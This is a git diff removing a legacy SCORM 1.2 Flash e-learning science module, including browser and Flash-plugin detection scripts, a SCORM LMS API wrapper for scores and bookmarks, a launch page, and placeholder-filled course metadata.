-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/Science/S0001/js/fpi-init.js b/Explore/elr/Science/S0001/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/Science/S0001/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0001/js/fpi-main.js b/Explore/elr/Science/S0001/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/Science/S0001/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0001/js/fpi-swap.js b/Explore/elr/Science/S0001/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/Science/S0001/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0001/js/fpi-writevb.js b/Explore/elr/Science/S0001/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/Science/S0001/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/Science/S0001/js/scorm_api.js b/Explore/elr/Science/S0001/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/Science/S0001/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0001/launch.html b/Explore/elr/Science/S0001/launch.html
deleted file mode 100755
index 44fb4da..0000000
--- a/Explore/elr/Science/S0001/launch.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript">
-<!--
-	function fnShowPopup(htmlfile){
-		w=700;
-		h=541;
-		 var wo= window.open("media/"+htmlfile,"_blank","width="+w+", height="+h+",scrollbars=no,resizable=no,status=no, left=" + (window.screen.width-w)/2 +", top="+(window.screen.height-h)/2);
-		wo.focus();
-
-	}
-	function fnGetData(){
-		return(window.opener.fnGetData());
-	}
-	function finish(){
-		window.opener.close();
-	}
-//-->
-</script>
-</head>
-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" onUnLoad=\"finish()\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"efk_shell.swf?BookMark_data="+fnGetData()+"\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"efk_shell.swf?BookMark_data="+fnGetData()+"\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
-</html>
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p01.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p01.swf
deleted file mode 100755
index 130fe08..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p01.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p010.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p010.swf
deleted file mode 100755
index 0d53d07..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p010.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p011.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p011.swf
deleted file mode 100755
index fd8739b..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p011.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p012.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p012.swf
deleted file mode 100755
index f33312e..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p012.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p013.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p013.swf
deleted file mode 100755
index 179ac5d..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p013.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p014.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p014.swf
deleted file mode 100755
index 1b969e1..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p014.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p02.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p02.swf
deleted file mode 100755
index 018470a..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p02.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p03.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p03.swf
deleted file mode 100755
index 2cf8e7d..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p03.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p04.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p04.swf
deleted file mode 100755
index f4c3eb5..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p04.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p05.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p05.swf
deleted file mode 100755
index bb6bf1a..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p05.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p06.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p06.swf
deleted file mode 100755
index 7b5b9e5..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p06.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p07.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p07.swf
deleted file mode 100755
index 9895d5c..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p07.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p08.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p08.swf
deleted file mode 100755
index 2845e46..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p08.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/L01_p09.swf b/Explore/elr/Science/S0001/media/lesson_00/L01_p09.swf
deleted file mode 100755
index 8a2c7d0..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/L01_p09.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/media/lesson_00/Sign_in.swf b/Explore/elr/Science/S0001/media/lesson_00/Sign_in.swf
deleted file mode 100755
index 5a61c88..0000000
--- a/Explore/elr/Science/S0001/media/lesson_00/Sign_in.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0001/metadata.xml b/Explore/elr/Science/S0001/metadata.xml
deleted file mode 100755
index c249e02..0000000
--- a/Explore/elr/Science/S0001/metadata.xml
+++ /dev/null
@@ -1,155 +0,0 @@
-<?xml version="1.0"?>
-<lom xmlns="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1"
-     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-     xsi:schemaLocation="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd">
-   <general>
-      <title>
-         <langstring>AAAAAAAAAAAA</langstring>
-      </title>
-      <catalogentry>
-         <catalog>AAAAAAAAAA</catalog>
-         <entry>
-            <langstring>1000-02-02</langstring>
-         </entry>
-      </catalogentry>
-      <language>en</language>
-      <description>
-         <langstring>AAAAAAAAAAAA</langstring>
-      </description>
-      <keyword>
-         <langstring>AAAAAAAAAAAAAAAAA</langstring>
-      </keyword>
-      <aggregationlevel>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">1</langstring>
-         </value>
-      </aggregationlevel>
-   </general>
-   <lifecycle>
-      <version>
-         <langstring>1.1</langstring>
-      </version>
-      <status>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Final</langstring>
-         </value>
-      </status>
-      <contribute>
-         <role>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Author</langstring>
-            </value>
-         </role>
-         <centity>
-            <vcard>BEGIN:vCard ORG:ADL Co-Lab END:vCard</vcard>
-         </centity>
-         <date>
-            <datetime>2003-01-30</datetime>
-         </date>
-      </contribute>
-   </lifecycle>
-   
-   <metametadata>
-      <metadatascheme>ADL SCORM 1.2</metadatascheme>
-   </metametadata>
-   
-   <technical>
-      <format>Flash/HTML</format>
-      <size>11111111</size>
-      <location>default.html</location>
-      <requirement>
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-            <value>
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-            </value>
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-         <name>
-            <source>
-               <langstring xml:lang="x-none">LOMv1.0</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Microsoft Internet Explorer</langstring>
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-         </name>
-      <minimumversion>5.0</minimumversion>
-      </requirement>
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-      <requirement>
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-            <source>
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-            </source>
-            <value>
-               <langstring xml:lang="x-none">Browser Plug-in</langstring>
-            </value>
-         </type>
-         <name>         
-            <source>
-               <langstring xml:lang="x-none">ADL</langstring>
-            </source>
-            <value>
-               <langstring xml:lang="x-none">Flash Plug-in</langstring>
-            </value>
-         </name>
-      </requirement>
-   </technical>
-   <educational>
-      <learningresourcetype>
-         <source>
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-         <value>
-            <langstring xml:lang="x-none">Narrative Text</langstring>
-         </value>
-      </learningresourcetype>
-      <typicallearningtime>
-         <datetime>0000-00-00T00:02:00</datetime>
-      </typicallearningtime>
-   </educational>
-   <rights>
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-         <value>
-            <langstring xml:lang="x-none">no</langstring>
-         </value>
-      </cost>
-      <copyrightandotherrestrictions>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
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-         </value>
